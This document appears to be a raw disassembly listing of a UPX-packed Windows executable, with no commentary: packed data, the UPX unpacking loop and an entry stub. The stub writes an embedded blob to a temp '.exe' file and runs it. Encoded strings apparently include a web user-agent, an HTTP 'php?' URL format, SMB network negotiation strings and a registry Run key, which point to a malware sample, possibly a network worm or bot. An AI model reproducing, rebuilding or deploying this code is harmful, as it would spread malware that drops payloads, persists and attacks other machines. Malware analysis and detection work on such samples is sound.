		dd 2BE9AFA3h, 14F85F7Bh, 9E481FD8h, 0FACEADECh,	15207E68h
		dd 0E2EB624Eh, 5CC1CF53h, 455FE142h, 0AC019043h, 70661D7Bh
		dd 0B0333CAEh, 0D30711D6h, 23EDB43h, 803AD6E6h,	9B0D0AF9h
		dd 0ABB068B4h, 74E063A3h, 822B01D8h, 0F4A37B7Ch, 8609D9FBh
		dd 0B73DE4CDh, 29E04552h, 0EECDF670h, 1904640Dh, 68631BE2h
		dd 0EC1323B2h, 5C344FB5h, 1386EB13h, 0B06099AEh, 3569FB1Ah
		dd 397044F8h, 90252C40h, 0D2908F93h, 70CDC864h,	90458C13h
		dd 9406EF5Ch, 72391C54h, 9C4C98E4h, 0A43CA044h,	47239134h
		dd 0AC2CA88Eh, 391CB024h, 0B4C8E472h, 0BC14B818h, 9F0CC010h
		dd 0C41C8E47h, 0CC04C808h, 0F8D04DFCh, 2391C8E4h, 0F0D8F4D4h
		dd 85AEECDCh, 0E8E07239h, 487E4E4h, 8B66BDh, 0A36CD337h
		dd 0B978DADEh, 2FCB06Dh, 7309838Ch, 0EC8C3412h,	415C0376h
		dd 4A8D9085h, 0EB0CFF59h, 4D8D1AE8h, 0B40DE438h, 0C9391A5Ch
		dd 870BF07Ch, 0D4683974h, 37A8AB4Dh, 0B6326277h, 0C4064DCCh
		dd 843E0D6Dh, 9ABC4984h, 4E570465h, 2ADB3B72h, 0A341521h
		dd 276E16A2h, 41173E3Ah, 5F9A2842h, 7D21E014h, 0F818B4E8h
		dd 0EB9C1388h, 0C28242E3h, 5A159993h, 1B6095AFh, 63554703h
		dd 0DE7FA480h, 0AD11F0AAh, 0B458A51h, 32FF6A9Eh, 80C1EDDBh
		dd 0CC3A52C3h, 0DC5D3831h, 0F108FE3Ah, 0B5D8825h, 0FFD07D2h
		dd 5A0C35B7h, 0F80CFF59h, 0F7990F93h, 8ED603FEh, 0FB80C3FEh
		dd 2ED572FFh, 5EBDC65Bh, 5F7662BAh, 9813B264h, 68336F04h
		dd 56DA0958h, 81084F38h, 0C70D040Ah, 9DB59B0h, 80758F0Bh
		dd 609B492Dh, 5FF90F75h, 1E892C25h, 3D9DADE4h, 3FF8432h
		dd 0FB8143D7h, 0B50DBE71h, 5F9F9623h, 6BA65D87h, 7B4F3B16h
		dd 6DA25A73h, 0E6573C19h, 9973002Fh, 0FDBE78B7h, 0F6FEFF04h
		dd 61887F3Ch, 33FC6C5Bh, 88BF50Fh, 0AADCF33Bh, 0D8B3B276h
		dd 57A0A33Eh, 9C572F9Eh, 2259ED9h, 1359F8D6h, 256E25C3h
		dd 0B3BBFF0Eh, 0C3F2EE75h, 68E1AC8Eh, 0D3A62710h, 969ED3BEh
		dd 84C1C180h, 50A92D70h, 1052AD62h, 8FC2454Eh, 0BA6032F5h
		dd 0F2AA5C6Ah, 0E0F9DCDFh, 0BFC3A4Ch, 6468B003h, 372DD4Eh
		dd 11103B06h, 0D742BA27h, 6CE012F7h, 0B80C609h,	0B02B39DFh
		dd 556F0BB0h, 84579356h, 80CC78D8h, 5113E6D8h, 68661C4Dh
		dd 0FD1F0CA5h, 0D91462F4h, 538906EEh, 20BF661h,	838506Ah
		dd 0A05BFDAFh, 0D2052C5Dh, 18740096h, 73071109h, 1001478Dh
		dd 141905h, 9DD8513h, 1706D84Fh, 42BDAA0Eh, 74F081DBh
		dd 0C7D5530Dh, 0BE111051h, 392101E1h, 3A18244Ch, 7EED85EDh
		dd 0D876D811h, 264BA586h, 0EF144D2Ch, 6C192596h, 0EBA20577h
		dd 8B750DF2h, 65B8B076h, 68FADDEBh, 0C11B333Fh,	968160C8h
		dd 77D0150Ch, 6EA96236h, 90140810h, 2F874BA3h, 5618D951h
		dd 0D8D85CFCh, 0F61837B2h, 743D563Eh, 6311CE05h, 61412ADCh
		dd 0B74B2C9Ch, 102050D3h, 59030818h, 0AA0B62FCh, 8B550F5Eh
		dd 5ACEE1C6h, 2E33A257h, 56532C56h, 0C9901884h,	25270055h
		dd 5ACE5903h, 40C520Ah,	9262CF20h, 28AF5D0Ch, 89E2B701h
		dd 21DE53C3h, 948E694Eh
		dd 13F6F438h, 5C1E3C34h, 0F7794E36h, 43ADDE04h,	281D146Ch
		dd 687AA42Dh, 92C1EC35h, 0F4D85A2Dh, 22F40910h,	0CF203BD0h
		dd 0EEF8367Ah, 477D221Dh, 11E748Dh, 0F556FC7Bh,	4804C1FEh
		dd 0B5FF1C1Eh, 0B9B345E0h, 0FF452F20h, 8521F0Fh, 61C35760h
		dd 1C465033h, 3489BD76h, 0B733A074h, 57D6A93Ch,	0D91B1C8h
		dd 984FACB6h, 1C80D406h, 0D8E47239h, 0E06CDC74h, 9148E460h
		dd 0E88E4723h, 0F020EC3Ch, 1934D110h, 0B700F4CCh, 63BF0B84h
		dd 647CE261h, 8B7EF9BEh, 0A16451A2h, 0B4C43D18h, 0CBD83608h
		dd 0E177572h, 0A64D1D49h, 2A099E9Ah, 0BDA3833Eh, 8A460975h
		dd 7888E044h, 8C47F46Ah, 0B40974B0h, 6A885974h,	8BB38163h
		dd 84BCDE59h, 7A2F22A1h, 0E0833FC1h, 5C08303h, 86B9CD57h
		dd 0FD594A8Bh, 509D10CFh, 3D12186Eh, 1C3DD607h,	0E26EE66h
		dd 50E83F14h, 982CEF42h, 2040A261h, 4B7CCA41h, 0D7C63F68h
		dd 0CC59B306h, 1B41D986h, 0CFA125D3h, 0B801F454h, 9681E007h
		dd 9F8B0F40h, 3EC18817h, 481FC517h, 5FD14C7h, 25596D30h
		dd 0E0B3BA10h, 0BF501D6Ah, 86103DD8h, 51FC71F0h, 1537743Fh
		dd 31583A06h, 60A7BB0Ah, 0BEFD8A06h, 0F45352D1h, 7EE6BC3Dh
		dd 3D53D8B3h, 0FEBB138h, 0A0C1CE59h, 0B632BDB3h, 38DE1B68h
		dd 65E265B0h, 0C868C226h, 5B373B4Fh, 0BB46D1F6h, 971A0DB9h
		dd 41D60B35h, 4C125E12h, 7A4EC6F0h, 0C631EE4Ah,	0B6413BBBh
		dd 2CFD90CCh, 90B610B5h, 480718B7h, 6015EB0Ch, 2D1880E5h
		dd 0AF1909CDh, 5132BA1Eh, 44330C5Dh, 0EC5B3D50h, 6A7D6883h
		dd 0CC401113h, 0F42A66E7h, 2806FF00h, 0A910F805h, 0F49199EFh
		dd 51001BF0h, 8DF7DF9Bh, 723B8D1Ah, 0BE98114h, 0AD85042Dh
		dd 1B1FDBEh, 2BEC7317h,	0CC48BC8h, 88BE18Bh, 0B5B236EAh
		dd 4353A302h, 45055C64h, 58363605h, 0A2000049h,	0F1022C02h
		dd 8F34BF14h, 52240206h, 80314153h, 0B77FFFFFh,	0F501018Fh
		dd 7911838Dh, 0E42AEC52h, 49E7F63Ah, 0BEE0EA9Bh, 7EDB21AFh
		dd 0FFFA9544h, 5E1AFFFFh, 85A03261h, 949F6A1Fh,	843994FFh
		dd 358F26A6h, 0A55C1DCEh, 7AB20BC9h, 0FF307265h, 371FFFFFh
		dd 697A6F4Dh, 2F616C6Ch, 20302E34h, 6D6F6328h, 69746170h
		dd 3B656C62h, 0FFFD4D20h, 4953FB5Bh, 15362045h,	6E695709h
		dd 73776F64h, 20544E20h, 29312E35h, 0D40BBB3Dh,	8EE434h
		dd 0C40104D4h, 0CF3DF7B4h, 90A00EF3h, 68047480h, 3CF3CF0Eh
		dd 480958DFh, 30D4743Ch, 64D937CFh, 10222045h, 0ED00304Ah
		dd 0F83E437Fh, 76631340h, 75722E76h, 0BDB6367Eh, 70077B5h
		dd 976C6465h, 0C1660F65h, 0FF7B7FF2h, 61657365h, 0E686372h
		dd 626F721Fh, 6863786Fh, 0DB676E61h, 0D2B9BB7Fh, 0C74651Fh
		dd 622E6472h, 61007A69h, 85D86328h, 6B68E46Dh, 740C6D61h
		dd 24782D06h, 0B9BB6DB3h, 6F6C0600h, 6B37620Eh,	0BEF6FD47h
		dd 276266Dh, 76742E7Ah,	6F74111Bh, 856E2E70h, 178C2D80h
		dd 27730F69h, 80FF0B33h, 0F788D6Dh, 6C756461h, 4B652D74h
		dd 7EDB7669h, 338072B3h, 73A66E6Fh, 622E744Eh, 0DF0AC07Dh
		dd 67694F67h, 77780032h, 5B7FB361h, 626A2CFBh, 9B00AD62h
		dd 6166617Ah, 0F84887A8h, 655D2EB6h, 61AF5C23h,	0F6EDF862h
		dd 656463FFh, 69686766h, 6D6C6B6Ah, 7271C56Eh, 777675F7h
		dd 0FFC67978h, 650E50DFh, 46454443h, 4A494847h,	4E4D4C4Bh
		dd 5451504Fh, 0FF68C3FFh, 57565554h, 1B5A5958h,	74746823h
		dd 2F2F3A70h, 3B9BF025h, 2F0B73B0h, 702E9765h, 7B3F7068h
		dd 0EB6FB7Eh, 73260F3Dh, 64066E63h, 666E6926h, 29073B76h
		dd 313D7DB7h, 74132639h, 58EBA01Bh, 60F6BBFBh, 3732313Dh
		dd 3A3101A8h, 2F303038h, 80FFDF65h, 0DFEC8Dh, 335DDFE8h
		dd 0EEB966C9h, 0FFDB6FFFh, 5758D01h, 68AFE8Bh, 4607993Ch
		dd 46302C06h, 7889934h,	0EBEDE247h, 0E8342FF7h,	7EDAE80Ah
		dd 2E6765DFh, 0C9999371h, 0DFFFEF01h, 0BDFD12FEh, 716FD91h
		dd 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 1A98A91Ch, 0F75BB1FFh
		dd 0F198F3C9h, 71028608h, 5F9010C0h, 599237CBh,	0F931C96h
		dd 3A78B3FBh, 7157E414h, 713A0A7Dh, 0BEFB9D45h,	0F19DF3EDh
		dd 0F1098904h, 40119C04h, 0FD8EEDB3h, 0E3F36723h, 0DC1C10F0h
		dd 6059B20Bh, 3D8FC99Bh, 125EFF6h, 0A10414D9h, 9E71CA17h
		dd 61688D2Bh, 964617B3h, 0E21AAD91h, 28111D96h,	0ED6F6D9Fh
		dd 0C850B2h, 57DC1499h,	4E122555h, 0DFECC0A4h, 1291EDDEh
		dd 0F7ED9949h, 0C4140054h, 71CBCA3Ah, 87B31C3Bh, 24FFFDDDh
		dd 0CF1A21E4h, 668FCDCDh, 0FBB6812Ch, 1E3F6C9Fh, 83B8B0FBh
		dd 5D12CDC3h, 1DCBC9A8h, 6F9DB27Fh, 0B24AD25h, 96A6485Ah
		dd 0C9FECBC0h, 4C1B1464h, 0F3EBA729h, 0D9FFBA9Ch, 16E9B3F7h
		dd 7126F434h, 0F90EFCF5h, 29EF133Bh, 6FFF6B46h,	5F37F776h
		dd 0EC4766DEh, 116A0A8h, 0EDFFC5B7h, 0FDE9ECE9h, 0EF610FBBh
		dd 2CE1FCB7h, 0FCF5CA01h, 0FCF25AFCh, 0FDBFFFE5h, 0F5FCF7EBh
		dd 0C7D6ABAAh, 59AAF934h, 2A2A25B4h, 93ACC966h,	0BEB78190h
		dd 90FF67F0h, 0C983639Dh, 309271CDh, 513519BFh,	0A95D914h
		dd 0FFFF9172h, 712AEC20h, 0A5D2EBC8h, 0E180D512h, 6FAA529Ah
		dd 9A2A8D14h, 46FEDFC8h, 8B12B9FBh, 0C3474A9Ah,	0DB9BAB9Eh
		dd 0EC20A319h, 0FFDDA26Ch, 0BDFFFDBFh, 0DF9EED85h, 0EB81E8A2h
		dd 0C8125544h, 2E961FBDh, 0D812EB8Dh, 125A9A85h, 0FF9A099Dh
		dd 5ACD0B09h, 0D096F810h, 7F664922h, 8712FEFDh,	0BB6F6EDBh
		dd 95C25AA9h, 82128502h, 0CB5A9104h, 0F9B9CFF7h, 857F4067h
		dd 424D53FFh, 0C8531872h, 9CFF4BFh, 62FEFFh, 83435002h
		dd 4F575445h, 0E35BED52h, 50204BFFh, 52474F52h,	31204D41h
		dd 414C17CDh, 52024D4Eh, 0A6290EBh, 0B71566ABh,	0B75BB696h
		dd 0BB676B03h, 330E7075h, 0B61F611Ah, 4D27EB74h, 21583223h
		dd 2E323232h, 66D35831h, 2018D62Ah, 5A8B323Ch, 0A433C8C9h
		dd 0EC1B0773h, 0C2285DBh, 40023FFh, 20140A11h, 8DDADE05h
		dd 69A0D41Ah, 534B4C00h, 4915053h, 97B7887Fh, 4AE00882h
		dd 0EDF81773h, 6E240057h, 6F006400h, 3A730075h,	5EDEC874h
		dd 901306Ch, 3500398Ch,	0DCC06C23h, 72E1D96h, 32ABDA00h
		dd 889CF20h, 3B57DA20h,	9F4C9383h, 46F20003h, 0C1901E23h
		dd 40074706h, 0D1060006h, 1046E7FFh, 8A151F01h,	48E088h
		dd 8144004Fh, 0FE1BFFFDh, 0F27A6A19h, 281C49E4h, 742530AFh
		dd 0E1536710h, 137C853Ch, 3075DF5Ch, 0AEBD0400h, 75CB6B9h
		dd 5C085ABDh, 72363761h, 72E4DD7h, 2E380036h, 3B1B3077h
		dd 496D899Bh, 0E843EC00h, 0F9633F00h, 640E7900h, 4DC08A2h
		dd 6DFF20F6h, 0FF1640h,	0E00DEDEh, 19F1600h, 9BF2602h
		dd 28401213h, 0C1110319h, 8B7DC346h, 0D374D96Ch, 0BBE42970h
		dd 9C2A9BACh, 0D81D256Bh, 109F6DB3h, 1B04480Eh,	5D6DCF54h
		dd 5A5413D7h, 22596326h, 83CBC75Ch, 45B9FF34h, 58765h
		dd 4810030Bh, 0C5FFFFB8h, 0EB810DEh, 286A050Bh,	0B10C3919h
		dd 0A89B11D0h, 7D4FC000h, 0D9EC7FE1h, 5D5FF52Eh, 1CEB8A88h
		dd 0E89F11C9h, 48102B3Ch, 0B22E7C60h, 0F40CD197h, 0CA060A3h
		dd 95E43C80h, 0CB10CA0h, 32393BFEh, 880CA000h, 90040h
		dd 847B03ECh, 7F927h, 4F401495h, 0BF40707Ch, 6C8A5ECh
		dd 13430700h, 88FFC279h, 138578h, 0E9A65BABh, 18F81013h
		dd 2FE409CFh, 230EFEFFh
		dd 0D45830C1h, 8408BE40h, 7DD3E488h, 10B943D2h,	0B801FFEEh
		dd 79366110h, 0AD200CF2h, 9F7F070Dh, 0FF215E5h,	700118D8h
		dd 0F900F84h, 0F842579h, 4D000F95h, 206FC9Eh, 6C0F847Fh
		dd 84AADE0Fh, 0A89A0087h, 93F436Fh, 1F13C88Ch, 50586E69h
		dd 0C0A6DB20h, 7250CAh,	39014446h, 3C844FC9h, 123C6B32h
		dd 7B027515h, 413C840Dh, 941C0053h, 1CAFFF01h, 0C606EB22h
		dd 73255C5Ch, 6370695Ch, 9BFFF975h, 0EC816624h,	0E4FF071Ch
		dd 44655300h, 67756265h, 0FA377669h, 67853518h,	6A6441A7h
		dd 6F546175h, 0EC99B6E4h, 176E656Bh, 126F4C73h,	0BF6D7075h
		dd 61569FDDh, 4165756Ch, 28704F17h, 7324636Fh, 8D48EA58h
		dd 76430034h, 65333F61h, 0E33152A3h, 0F86D4C79h, 0F5056D1Bh
		dd 545F1165h, 57796172h, 95D52DB5h, 31431735h, 52521A61h
		dd 682DBB9Dh, 6854056Fh, 7356140Ch, 0A35B6B75h,	284158DBh
		dd 0A578454Fh, 77336D67h, 47356E3Ah, 121EF3F5h,	48F46897h
		dd 7F505454h, 5732203Ch, 0FDEF52B5h, 0D4B4F20h,	9F4B010Ah
		dd 6ADF6644h, 4C2D02BBh, 3A2D6704h, 18752520h, 0CA587B5Ah
		dd 7954282Fh, 0A66D26B5h, 70A3DAB6h, 15836386h,	8EA9EE2Fh
		dd 2DC7025Ah, 42C97293h, 9F56B18Bh, 2B004757h, 0A35B47BAh
		dd 0E564F6F4h, 42CB73CBh, 6D8D57FBh, 0A9637673h, 0DA6977CBh
		dd 0F1538B77h, 175F3203h, 9A69E775h, 7B5E62Eh, 36373803h
		dd 0A6BB2774h, 331F3435h, 32033369h, 0D34B75F2h, 13393031h
		dd 0C8383F38h, 370D8320h, 20353607h, 34320C83h,	909A3233h
		dd 3031C83Ah, 0F93AF378h, 0CC95ACFFh, 4F53BBD9h, 41575446h
		dd 4D5C4552h, 62C1F869h, 6F736F7Bh, 5CBF5CD7h, 72727543h
		dd 6B61BC22h, 73DC5615h, 75525C0Ah, 85B79F6Eh, 74231716h
		dd 6824D26Fh, 0FF532030h, 1B6850A3h, 673BE3F7h,	7264736Eh
		dd 1D93706Ah, 652B79B6h, 51530002h, 6612D86h, 6C0E5F06h
		dd 5736264Dh, 5F664B68h, 60C14923h, 34421C28h, 68FF5455h
		dd 130BC037h, 5E432053h, 0D5762067h, 0FB95B7B3h, 8058763Bh
		dd 0C823B532h, 7C65B05Eh, 0FC471A1Bh, 23596E66h, 79931217h
		dd 36346B73h, 4200707Eh, 61BF2063h, 0B7B5B623h,	6D1B1358h
		dd 0DD975220h, 0B4B63772h, 0E0440300h, 2F660E20h, 0EE7B25B0h
		dd 2AAC6D67h, 5B632463h, 22BFDAE4h, 20797469h, 1E6E614Dh
		dd 0AC31B81Ah, 74201501h, 2A2AAE89h, 0FD92BBC4h, 0EC01388Ch
		dd 65657246h, 0DBF0060Ch, 470DF923h, 6F4D7465h,	978A5F87h
		dd 6B4665E2h, 686D614Eh, 74736C01h, 0C01AEF7Bh,	0A956372h
		dd 79706F43h, 70A40A19h, 45A1816Fh, 4E326578h, 7C52FFF6h
		dd 6C6F6F54h, 32337067h, 70616E53h, 746F6873h, 4DADDD19h
		dd 32129C8Ah, 540F7372h, 14AD7305h, 182C358Fh, 80FB05B6h
		dd 78654E21h, 41616974h, 215FFD54h, 0F76451Eh, 7469616Bh
		dd 53726F46h, 0B6F6BA21h, 4F7B673Ch, 2C766A62h,	0D9B9E144h
		dd 8D225AC3h, 3A0B6972h, 0BFBDEC97h, 486573C8h,	0C646E61h
		dd 0C25E2447h, 8B6C3BDh, 5A61D26Eh, 0B5CDB3F0h,	0A3449711h
		dd 14796456h, 0B6DF75BBh, 2B61984Ch, 6F666E49h,	6509530Fh
		dd 37800670h, 9C496218h, 64656B26h, 64D98845h, 6EB328B3h
		dd 92E7FB36h, 12E0D0CDh, 6464410Bh, 0F7B30F72h,	4C0B111Dh
		dd 61726269h, 0E68AB567h, 4D2B60DAh, 36137C82h,	0D5CB080Bh
		dd 0C363CF8Eh, 547B42DAh, 75888169h, 4915DE65h,	0E94D8AD8h
		dd 1BDA3478h, 0DD29B36h, 0F239C45Dh, 4F116610h,	78455A62h
		dd 0B3612DB6h, 630ADF31h, 9B9E6D13h, 522DC6E0h,	87B591Bh
		dd 1766C0E0h, 38657A86h, 0A3604CA7h, 451585B5h,	0D160C3FCh
		dd 33759F9Dh, 0A1673A2Bh, 4579654Bh, 0CE40EC3Bh, 0FC18610h
		dd 5EC00A51h, 11F65AC2h, 5987309Eh, 21E7426Ch, 841CE010h
		dd 0C517B76h, 0BE6E6241h, 0E2B6853h, 310428A5h,	1AC13F86h
		dd 3677D985h, 62BB1089h, 440A7DB6h, 720E6112h, 0D61B6669h
		dd 0CA79B63Ah, 2B758F67h, 616F6C36h, 6FCE436Fh,	6F112C79h
		dd 67702350h, 0E8F5210h, 38F63F90h, 4114B4D0h, 69757163h
		dd 74AE7072h, 35494DD8h, 0C3363AA0h, 0DE1359A7h, 0CA7273ECh
		dd 18B16D06h, 35B2D1CEh, 150F920Eh, 536B99DAh, 445F1D4Dh
		dd 740AC558h, 685F3FB8h, 3627F9F6h, 2CC46DBh, 4F727907h
		dd 880110E9h, 9160AD15h, 1CC2D22h, 271DCD34h, 61150E65h
		dd 14362CC2h, 0BBB4E70Ah, 4906EE15h, 70737766h,	4166B105h
		dd 9C62834Fh, 424F466h,	0DB616C5Ah, 9B558543h, 370E1141h
		dd 6705212Ch, 1B866B14h, 6E0306A6h, 74534349h, 8C950E81h
		dd 0D471A65h, 0A8EDB2CBh, 273FFA1h, 2C010D02h, 392CB2CBh
		dd 0C17346Fh, 0B2CB2CB2h, 10130409h, 4F45AA16h,	455036AAh
		dd 0E4FFB60Eh, 59C896B7h, 0E00040D8h, 0B010F00h, 260C0601h
		dd 68011CB2h, 2334DC12h, 0C6A32510h, 0B31420Eh,	0B7334A02h
		dd 0C079BA4h, 39341E60h, 10B0364Bh, 2D570607h, 6210805Dh
		dd 7C64098Ch, 0B0AE3145h, 6A2E1E01h, 0B60D8180h, 269024A6h
		dd 7C7B64C4h, 0E0049F90h, 0FBE1642Eh, 0D85BA114h, 272A0737h
		dd 48C016h, 81434BE0h, 54C32Fh,	2 dup(0)
		db 90h
		db 0FFh, 2 dup(0)
		align 10h
		pusha
		mov	esi, offset dword_31426000
		lea	edi, [esi-5000h]
		push	edi
		or	ebp, 0FFFFFFFFh
		jmp	short loc_31427BD2
; ---------------------------------------------------------------------------
		align 8

loc_31427BC8:				; CODE XREF: UPX1:loc_31427BD9j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi

loc_31427BCE:				; CODE XREF: UPX1:31427C66j
					; UPX1:31427C7Dj
		add	ebx, ebx
		jnz	short loc_31427BD9

loc_31427BD2:				; CODE XREF: UPX1:31427BC0j
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx

loc_31427BD9:				; CODE XREF: UPX1:31427BD0j
		jb	short loc_31427BC8
		mov	eax, 1

loc_31427BE0:				; CODE XREF: UPX1:31427BEFj
					; UPX1:31427BFAj
		add	ebx, ebx
		jnz	short loc_31427BEB
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx

loc_31427BEB:				; CODE XREF: UPX1:31427BE2j
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_31427BE0
		jnz	short loc_31427BFC
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_31427BE0

loc_31427BFC:				; CODE XREF: UPX1:31427BF1j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_31427C10
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_31427C82
		mov	ebp, eax

loc_31427C10:				; CODE XREF: UPX1:31427C01j
		add	ebx, ebx
		jnz	short loc_31427C1B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx

loc_31427C1B:				; CODE XREF: UPX1:31427C12j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_31427C28
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx

loc_31427C28:				; CODE XREF: UPX1:31427C1Fj
		adc	ecx, ecx
		jnz	short loc_31427C4C
		inc	ecx

loc_31427C2D:				; CODE XREF: UPX1:31427C3Cj
					; UPX1:31427C47j
		add	ebx, ebx
		jnz	short loc_31427C38
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx

loc_31427C38:				; CODE XREF: UPX1:31427C2Fj
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_31427C2D
		jnz	short loc_31427C49
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_31427C2D

loc_31427C49:				; CODE XREF: UPX1:31427C3Ej
		add	ecx, 2

loc_31427C4C:				; CODE XREF: UPX1:31427C2Aj
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_31427C6C

loc_31427C5D:				; CODE XREF: UPX1:31427C64j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_31427C5D
		jmp	loc_31427BCE
; ---------------------------------------------------------------------------
		align 4

loc_31427C6C:				; CODE XREF: UPX1:31427C5Bj
					; UPX1:31427C79j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_31427C6C
		add	edi, ecx
		jmp	loc_31427BCE
; ---------------------------------------------------------------------------

loc_31427C82:				; CODE XREF: UPX1:31427C0Cj
		pop	esi
		mov	edi, esi
		mov	ecx, 7Eh

loc_31427C8A:				; CODE XREF: UPX1:31427C91j
					; UPX1:31427C96j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h

loc_31427C8F:				; CODE XREF: UPX1:31427CB4j
		cmp	al, 1
		ja	short loc_31427C8A
		cmp	byte ptr [edi],	1
		jnz	short loc_31427C8A
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	eax, ebx
		loop	loc_31427C8F
		lea	edi, [esi+5000h]

loc_31427CBC:				; CODE XREF: UPX1:31427CDEj
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_31427D07
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+7000h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+708Ch]
		xchg	eax, ebp

loc_31427CD9:				; CODE XREF: UPX1:31427CFFj
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_31427CBC
		mov	ecx, edi
		jns	short near ptr loc_31427CEA+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi

loc_31427CEA:				; CODE XREF: UPX1:31427CE2j
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+7090h]
		or	eax, eax
		jz	short loc_31427D01
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_31427CD9
; ---------------------------------------------------------------------------

loc_31427D01:				; CODE XREF: UPX1:31427CF8j
		call	dword ptr [esi+7094h]

loc_31427D07:				; CODE XREF: UPX1:31427CC0j
		popa
		jmp	loc_31422334
; ---------------------------------------------------------------------------
		align 400h
UPX1		ends

; Section 3. (virtual address 00008000)
; Virtual size			: 0000D000 (  53248.)
; Section size in file		: 0000D000 (  53248.)
; Offset to raw	data for section: 00008000
; Flags	E00000E0: Text Data Bss	Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX2		segment	para public 'CODE' use32
		assume cs:UPX2
		;org 31428000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 80C4h, 808Ch, 3 dup(0)
		dd 80D1h, 809Ch, 3 dup(0)
		dd 80DEh, 80A4h, 3 dup(0)
		dd 80E9h, 80ACh, 3 dup(0)
		dd 80F4h, 80B4h, 3 dup(0)
		dd 8100h, 80BCh, 5 dup(0)
		dd 77E805D8h, 77E7A5FDh, 77E75CB5h, 0
		dd 77DD189Ah, 0
		dd 77C3528Dh, 0
		dd 77D4C96Ah, 0
		dd 7620AFB6h, 0
		dd 71AB1A6Dh, 0
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h
		dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h
		dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h
		dd 642E3233h, 6C6Ch, 64616F4Ch,	7262694Ch, 41797261h, 65470000h
		dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h
		dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h
		dd 646Eh, 72707377h, 66746E69h,	41h, 65746E49h,	74656E72h
		dd 6E65704Fh, 41h, 26h dup(0)
dword_31428200	dd 1C39068h, 0FFC48BEDh, 0E85B93D0h, 59h, 824648Bh, 4EBB8h
					; DATA XREF: UPX2:starto
		dd 64FAEB00h, 18A167h, 0F30408Bh, 830240B6h, 3C7500F8h
		dd 0E8h, 0ED815D00h, 402334h, 237B858Bh, 85030040h, 402383h
		dd 858BF08Bh, 40237Fh, 23838503h, 8B500040h, 0ACC933FEh
		dd 238B8532h, 41AA0040h, 23878D3Bh, 0EF7C0040h,	64C02BC3h
		dd 896430FFh, 5678B820h, 3871234h, 6000h, 7BB0h, 31420000h
		dd 1E00h, 78h, 75Dh dup(0)
; ---------------------------------------------------------------------------

		public start
start:
		push	offset dword_31428200
		call	sub_3142A02C
		xor	al, 0ADh
		out	77h, al
; ---------------------------------------------------------------------------
aPpcwDcwoCwiCw_	db '¯æwÆ„æwOÍæw›Ðæw.ãæwqÐæw',0
		align 4
		dd 7E0000h

; =============== S U B	R O U T	I N E =======================================



sub_3142A02C	proc near		; CODE XREF: UPX2:3142A005p
		call	sub_3142A0B9
		pop	eax
		pusha
		lea	ebp, [eax-0Ah]
		call	sub_3142A0A4
		sub	esp, 400h
		mov	esi, esp
		push	esi
		push	200h
		call	dword ptr [ebp+0Ah]
		push	esi
		push	0
		lea	eax, [ebp+2Ah]
		push	eax
		push	esi
		call	dword ptr [ebp+0Eh]
		mov	edi, esi
		xor	eax, eax
		mov	cl, 0FFh
		repne scasb
		mov	dword ptr [edi-1], 6578652Eh
		mov	[edi+3], al
		push	1001h
		lea	eax, [esi+200h]
		mov	byte ptr [eax],	87h
		push	eax
		push	esi
		call	dword ptr [ebp+16h]
		mov	edi, eax
		push	dword ptr [ebp+131h]
		lea	eax, [ebp+135h]
		push	eax
		push	edi
		call	dword ptr [ebp+1Ah]
		push	edi
		call	dword ptr [ebp+1Eh]
		push	0
		push	esi
		call	dword ptr [ebp+12h]
		add	esp, 400h
		popa
		retn
sub_3142A02C	endp


; =============== S U B	R O U T	I N E =======================================



sub_3142A0A4	proc near		; CODE XREF: sub_3142A02C+Ap
		pusha
		mov	edi, eax

loc_3142A0A7:				; CODE XREF: sub_3142A0A4+11j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_3142A0B7
		push	ebx
		push	eax
		call	sub_3142A0DD
		stosd
		jmp	short loc_3142A0A7
; ---------------------------------------------------------------------------

loc_3142A0B7:				; CODE XREF: sub_3142A0A4+7j
		popa
		retn
sub_3142A0A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_3142A0B9	proc near		; CODE XREF: sub_3142A02Cp
		push	ebp
